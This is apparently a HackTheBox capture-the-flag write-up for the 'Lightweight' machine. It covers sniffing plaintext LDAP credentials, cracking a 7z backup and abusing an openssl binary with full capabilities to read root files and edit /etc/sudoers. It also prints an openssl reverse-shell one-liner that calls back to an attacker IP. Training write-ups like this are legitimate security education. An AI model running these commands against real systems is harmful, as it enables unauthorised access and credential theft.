Lightweight was relatively easy for a medium box. The biggest trick was figuring out that you needed to capture ldap traffic on localhost to get credentials, and getting that traffic to generate. The box actually starts off with creating an ssh account for me when I visit the webpage. From there I can capture plaintext creds from ldap to escalate to the first user. I’ll crack a backup archive to get creds to the second user, and finally use a copy of openssl with full Linux capabilities assigned to it to escalate to root. In Beyond root, I’ll look at the backup site and the real one, and how they don’t match, as well as look at the script for creating users based on http visits.

Box Info

Name Lightweight Lightweight
Play on HackTheBox
Release Date 08 Dec 2018
Retire Date 11 May 2019
OS Linux Linux
Base Points Medium [30]
Rated Difficulty Rated difficulty for Lightweight
Radar Graph Radar chart for Lightweight
First Blood User 01:00:34deviate
First Blood Root 03:44:48arkantolo
Creator 0xEA31



nmap reveals three services, ssh (22), http (80), and ldap (389):

root@kali# nmap -sT -p- --min-rate 10000 -sV -sC -oA nmap/alltcpscripts

Starting Nmap 7.70 ( ) at 2018-12-11 09:49 EST
Nmap scan report for
Host is up (0.020s latency).
Not shown: 65532 filtered ports
22/tcp  open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 19:97:59:9a:15:fd:d2:ac:bd:84:73:c4:29:e9:2b:73 (RSA)
|   256 88:58:a1:cf:38:cd:2e:15:1d:2c:7f:72:06:a3:57:67 (ECDSA)
|_  256 31:6c:c1:eb:3b:28:0f:ad:d5:79:72:8f:f5:b5:49:db (ED25519)
80/tcp  open  http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
|_http-title: Lightweight slider evaluation page - slendr
389/tcp open  ldap    OpenLDAP 2.2.X - 2.3.X
| ssl-cert: Subject: commonName=lightweight.htb
| Subject Alternative Name: DNS:lightweight.htb, DNS:localhost, DNS:localhost.localdomain
| Not valid before: 2018-06-09T13:32:51
|_Not valid after:  2019-06-09T13:32:51
|_ssl-date: TLS randomness does not represent time

Based on the Apache version this looks like Centos 7.

Website - TCP 80

The site is just a demo for slendr, “A responsive & lightweight slider for modern browsers.”.

On visit, there’s an overlay that goes away when clicking off of it:


The info page (/info.php) gives more details:


The user page (/user.php) tells how to get ssh on the box:


There’s some interesting language here. It says that within one minute of my first http request, my account will be added. That implies that there’s a cron running each minute, checking for new http connections, and adding a new account if necessary.

The status page (/status.php) gives the (now empty) list of banned ips:


LDAP - TCP 389

nmap script gives info about ldapuser1 and ldapuser2:

root@kali# nmap -p 389 --script ldap-search
Starting Nmap 7.70 ( ) at 2018-12-11 10:19 EST
Nmap scan report for
Host is up (0.018s latency).

389/tcp open  ldap
| ldap-search:
|   Context: dc=lightweight,dc=htb
|     dn: dc=lightweight,dc=htb
|         objectClass: top
|         objectClass: dcObject
|         objectClass: organization
|         o: lightweight htb
|         dc: lightweight
|     dn: cn=Manager,dc=lightweight,dc=htb
|         objectClass: organizationalRole
|         cn: Manager
|         description: Directory Manager
|     dn: ou=People,dc=lightweight,dc=htb
|         objectClass: organizationalUnit
|         ou: People
|     dn: ou=Group,dc=lightweight,dc=htb
|         objectClass: organizationalUnit
|         ou: Group
|     dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
|         uid: ldapuser1
|         cn: ldapuser1
|         sn: ldapuser1
|         mail: ldapuser1@lightweight.htb
|         objectClass: person
|         objectClass: organizationalPerson
|         objectClass: inetOrgPerson
|         objectClass: posixAccount
|         objectClass: top
|         objectClass: shadowAccount
|         userPassword: {crypt}$6$3qx0SD9x$Q9y1lyQaFKpxqkGqKAjLOWd33Nwdhj.l4MzV7vTnfkE/g/Z/7N5ZbdEQWfup2lSdASImHtQFh6zMo41ZA./44/
|         shadowLastChange: 17691
|         shadowMin: 0
|         shadowMax: 99999
|         shadowWarning: 7
|         loginShell: /bin/bash
|         uidNumber: 1000
|         gidNumber: 1000
|         homeDirectory: /home/ldapuser1
|     dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
|         uid: ldapuser2
|         cn: ldapuser2
|         sn: ldapuser2
|         mail: ldapuser2@lightweight.htb
|         objectClass: person
|         objectClass: organizationalPerson
|         objectClass: inetOrgPerson
|         objectClass: posixAccount
|         objectClass: top
|         objectClass: shadowAccount
|         userPassword: {crypt}$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1
|         shadowLastChange: 17691
|         shadowMin: 0
|         shadowMax: 99999
|         shadowWarning: 7
|         loginShell: /bin/bash
|         uidNumber: 1001
|         gidNumber: 1001
|         homeDirectory: /home/ldapuser2
|     dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb
|         objectClass: posixGroup
|         objectClass: top
|         cn: ldapuser1
|         userPassword: {crypt}x
|         gidNumber: 1000
|     dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb
|         objectClass: posixGroup
|         objectClass: top
|         cn: ldapuser2
|         userPassword: {crypt}x
|_        gidNumber: 1001

Nmap done: 1 IP address (1 host up) scanned in 0.50 seconds

Despite the box name indicating that LDAP would be a part of this box, there isn’t much I can get from here. The passwords don’t crack. I’ll move on.

Shell as ldapuser2

SSH as [ip]

I’ll use the ssh access granted by visiting the webpage to get on the host and look around. There isn’t a ton to find. The homedir is empty. I can see other homedirs for other users, including ips and the two users I found with ldap enumeration:

[ home]$ ls  ldapuser1  ldapuser2

I can’t access the files in the web directory to look for passwords or how the system is creating users there.

Sniff Password Via LDAP


When I stop and think about what may be going on when I visit the site, it seems like somewhere it is logged that I’ve visited, and once a minute, the cron runs and looks at that log. A full user is being created, as I can see not only homedirs, but also entries in /etc/passwd:

[ html]$ tail /etc/passwd
ldap:x:55:55:OpenLDAP server:/var/lib/ldap:/sbin/nologin
saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin

Given that, and the fact that ldap is listening, I’m going to hypothesize that the cron will use ldap to add the user (spoiler: it isn’t, but another page is using ldap). If I sniff for that traffic on localhost, I might be able to catch it (spoiler: I can).


I’ll run tcpdump with the following options:

  • -i lo - listen on localhost
  • -nn - don’t convert hostnames or ports to names
  • -X - packet print data in ASCII and hex
  • -s 0 - capture entire packet
  • ` ‘port 389’` - filter to capture only ldap traffic

So I started tcpdump and visited the page, and tried resetting my user. After waiting a while, I didn’t get any traffic. However, once I started clicking around again, I got ldap traffic on visiting status.php. This packet was most interesting:

[ ~]$ tcpdump -i lo -nnXs 0 'port 389'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
06:16:44.588923 IP > Flags [P.], seq 1:92, ack 1, win 683, options [nop,nop,TS val 541880593 ecr 541880593], length 91
        0x0000:  4500 008f a0c8 4000 4006 709f 0a0a 0a77  E.....@.@.p....w
        0x0010:  0a0a 0a77 8e88 0185 26a9 d1d8 aa44 7d50  ...w....&....D}P
        0x0020:  8018 02ab 2983 0000 0101 080a 204c 7111  ....)........Lq.
        0x0030:  204c 7111 3059 0201 0160 5402 0103 042d  .Lq.0Y...`T....-
        0x0040:  7569 643d 6c64 6170 7573 6572 322c 6f75  uid=ldapuser2,ou
        0x0050:  3d50 656f 706c 652c 6463 3d6c 6967 6874  =People,dc=light
        0x0060:  7765 6967 6874 2c64 633d 6874 6280 2038  weight,dc=htb..8
        0x0070:  6263 3832 3531 3333 3261 6265 3164 3766  bc8251332abe1d7f
        0x0080:  3130 3564 3365 3533 6164 3339 6163 32    105d3e53ad39ac2

That’s the authentication packet. I can see it better if i use tcpdump to save the pcap, bring it back to my box, and open it in Wireshark.


It’s tempting to think that the password here is being sent as a hash, but that doesn’t actually make sense. I already observed in my ldap enumeration that the passwords were stored in the format $6$, which is sha512. So if the host only knows the password as sha512, send it what looks like an md5 doesn’t make sense. There’s no way for the host to compare those two and see if they match.

Beyond that logic, I can also see that ldap sends the password in plain text.


Armed with ldapuser2’s password, I can now su within my ssh session:

[ ~]$ su ldapuser2
[ldapuser2@lightweight]$ id
uid=1001(ldapuser2) gid=1001(ldapuser2) groups=1001(ldapuser2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

I can also grab user.txt:

[ldapuser2@lightweight ~]$ cat user.txt 

Privesc: ldapuser2 –> ldapuser1


In ldapuser2’s homedir, there’s a backup.7z:

[ldapuser2@lightweight ~]$ ls
backup.7z  OpenLDAP-Admin-Guide.pdf  OpenLdap.pdf  user.txt

Crack Password

I’ll grab a copy and take a look on my local machine. When I try to open it, it asks for a password:

root@kali# 7z x backup.7z 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz (906EA),ASM,AES-NI)

Scanning the drive for archives:
1 file, 3411 bytes (4 KiB)

Extracting archive: backup.7z
Path = backup.7z
Type = 7z
Physical Size = 3411
Headers Size = 259
Method = LZMA2:12k 7zAES
Solid = +
Blocks = 1

Enter password (will not be echoed):

I can crack that password using and hashcat:

root@kali# /opt/john/run/ backup.7z > backup.hash
$ hashcat -m 11600 -a 0 -o backup.cracked backup.hash /usr/share/wordlists/rockyou.txt --force
$ cat backup.cracked

Find Creds

Now I can see the contents, which is a backup of the web directories:

root@kali# ls -l backup
total 21
-rwxrwx--- 1 root vboxsf 4218 Jun 13  2018 index.php
-rwxrwx--- 1 root vboxsf 1764 Jun 13  2018 info.php
-rwxrwx--- 1 root vboxsf  360 Jun 10  2018 reset.php
-rwxrwx--- 1 root vboxsf 2400 Jun 14  2018 status.php
-rwxrwx--- 1 root vboxsf 1528 Jun 13  2018 user.php

In status.php, I’ll find creds for ldapuser1 (I’ll look more at the script in Beyond Root):

$username = 'ldapuser1';
$password = 'f3ca9d298a553da117442deeb6fa932d';


Now I can su to get a shell as ldapuser1:

[ldapuser2@lightweight ~]$ su ldapuser1
[ldapuser1@lightweight ldapuser2]$ id
uid=1000(ldapuser1) gid=1000(ldapuser1) groups=1000(ldapuser1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Privesc: ldapuser1 –> root


Checking out the homedir for ldapuser1, I see a few interesting files:

[ldapuser1@lightweight ~]$ ls -l
total 1484
-rw-rw-r--. 1 ldapuser1 ldapuser1   9714 Jun 15  2018 capture.pcap
-rw-rw-r--. 1 ldapuser1 ldapuser1    646 Jun 15  2018 ldapTLS.php
-rwxr-xr-x. 1 ldapuser1 ldapuser1 555296 Jun 13  2018 openssl
-rwxr-xr-x. 1 ldapuser1 ldapuser1 942304 Jun 13  2018 tcpdump

ldapTLS.php seems to a be a demo script for ldap over TLS in php. capture.pcap has 4 streams, which show ldap connections over ipv6 using ldapuser2’s credentials, so not much there, as I already have that.

openssl and tcpdump are strange things to find in a homedir. Both already exist in their normal paths:

[ldapuser1@lightweight ~]$ which tcpdump 
[ldapuser1@lightweight ~]$ which openssl 

So what is different about these? The binaries are the same:

[ldapuser1@lightweight ~]$ md5sum openssl /usr/bin/openssl tcpdump /usr/sbin/tcpdump 
fba9d597671181560afeec189d92348c  openssl
fba9d597671181560afeec189d92348c  /usr/bin/openssl
d9e3583b74ec93b4c9c792be985d1b8b  tcpdump
d9e3583b74ec93b4c9c792be985d1b8b  /usr/sbin/tcpdump

When I check the capabilities, I find an important difference. For tcpdump, it’s the same. But for openssl, there’s nusual capabilitie for this copy:

[ldapuser1@lightweight ~]$ getcap tcpdump /usr/sbin/tcpdump
tcpdump = cap_net_admin,cap_net_raw+ep
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
[ldapuser1@lightweight ~]$ getcap openssl /usr/bin/openssl 
openssl =ep

Having the capability =ep means the binary has all the capabilities. So this openssl binary is useful to me.

Read as root

The simplest next step is to read the flag as root. I can do that simply by using openssl to base64 the flag, and then pipe that into base64 -d:

[ldapuser1@lightweight ~]$ ./openssl base64 -in /root/root.txt | base64 -d

root Shell

Of course I want a root shell, and arbitrary read and write offers many paths on Linux. One path that might be tempting is to use openssl to get a shell, using something like this or like I did in Ethereal. That would be using something like:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s

The reason that won’t work is because while the openssl process has capabilities, the /bin/sh does not, so that shell will still run without the abilities I am looking for.

But, I can fall back to things like adding a user in /etc/passwd, overwriting a suid binary, or adding a root cron job. In this case, I’ll edit /etc/sudoers.

First I’ll make a copy of the existing file in /dev/shm. Then I’ll add a line to allow my current user to

[ldapuser1@lightweight ~]$ ./openssl base64 -in /etc/sudoers | base64 -d > /dev/shm/t
[ldapuser1@lightweight ~]$ echo "ldapuser1    ALL=(ALL)       ALL" >> /dev/shm/t
[ldapuser1@lightweight ~]$ cat /dev/shm/t | base64 | ./openssl enc -d -base64 -out /etc/sudoers

Now I have an entry in the sudoers file, so I can sudo su:

[ldapuser1@lightweight ~]$ sudo su
[sudo] password for ldapuser1:
[root@lightweight ldapuser1]# 

Beyond Root

Which ldap Creds / status.php

When I found ldapuser1’s creds in the backup.7z file, I was confused. I had identified that visiting status.php initiated ldap activity, but I had captured activity from ldapuser2. Once I had a shell as root, I went into the web directories and grabbed a copy of status.php. Turns out I was right:

root@kali# diff status.php status.php.actual
< <!DOCTYPE html>
> CTYPE html>
< $username = 'ldapuser1';
< $password = 'f3ca9d298a553da117442deeb6fa932d';
> $username = 'ldapuser2';
> $password = '8bc8251332abe1d7f105d3e53ad39ac2';
< $dn="uid=ldapuser1,ou=People,dc=lightweight,dc=htb";
> $dn="uid=ldapuser2,ou=People,dc=lightweight,dc=htb";

The backup file did use different creds than the live version on target.

While I’m looking at status.php, it’s not clear to me why this ldap connection is made from the status page. It just makes the connection, and assuming it succeeds, prints a static message, which is what I’ve seen on each visit to the page.

User Creation

I was interested to see how the user creation worked on this host. As I was suspecting it was a cron, I found it using crontab:

[root@lightweight cron.d]# crontab -l
* * * * * /root/ >> /root/manageusers.log 2>/dev/null

Here’s the script, broken into sections and with line numbers added by me. Lines 1-9 are the shebang and defining a function, cryptpw(), that will take an argument and return a salted and hashed password string like I would see in /etc/shadow:

  1 #! /bin/bash
  2 #
  3 # encrypt a cleartext password given as arg
  4 cryptpw(){
  5         perl -e '
  6         my $pw = "'"$1"'";
  7         my $salt = join("",("a".."z")[rand 26,rand 26]);
  8         printf "%s\n", crypt($pw,$salt);'
  9 }

Next, in 11-23, the script reads the first column of /var/www/html/reset_req, which gives a list of IP addresses which have requested reset. Then it gets a unique list using sort -u, and that list is fed into a while loop. For each ip, it checks that the input is actually an ip, and if so, runs /usr/sbin/userdel -f -r "$resetuser" to delete the user. Once it’s processed the list, it clears it.

 11 awk '{print $1}' /var/www/html/reset_req | sort -u |
 12 while read line
 13 do
 14     resetuser=$line
 16     if [[ $resetuser =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
 17       /usr/sbin/userdel -f -r "$resetuser"
 18     else
 19       echo "fail to validate user"
 20     fi
 21 done
 23 truncate -s 0 /var/www/html/reset_req

In lines 25-35, it handles creation of new users. It gets the first column of the access_log, which is the ip address, as the log format looks like: - - [05/May/2019:05:16:10 +0100] "GET / HTTP/1.1" 200 4218 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"  

It then uses sort -u here again to get rid of duplicate addresses, and then loops over that list. For each ip, it will run id "$newuser" ignoring the results, but if it is not successful (the user doesn’t exist), it creates the user with useradd:

 25 awk '{print $1}' /var/log/httpd/access_log | sort -u |
 26 while read line
 27 do
 28     newuser=$line
 29     if id "$newuser" >/dev/null 2>&1; then
 30       :
 31     else
 32       pw=$(cryptpw "$newuser")
 33       /usr/sbin/useradd "$newuser" -K MAIL_DIR=/dev/null -p "$pw"
 34     fi
 35 done

Finally, the script will update the list of banned ips in lines 37-40. It gets the list of fail2ban ips, greps to just get the ip from the log, and then sorts it to get rid of duplicates. It puts that list into /var/www/html/banned.txt. Then it creates an html list and overwrites the original list via a temporary file.

 37 # get banned ip
 39 /usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt
 40 awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt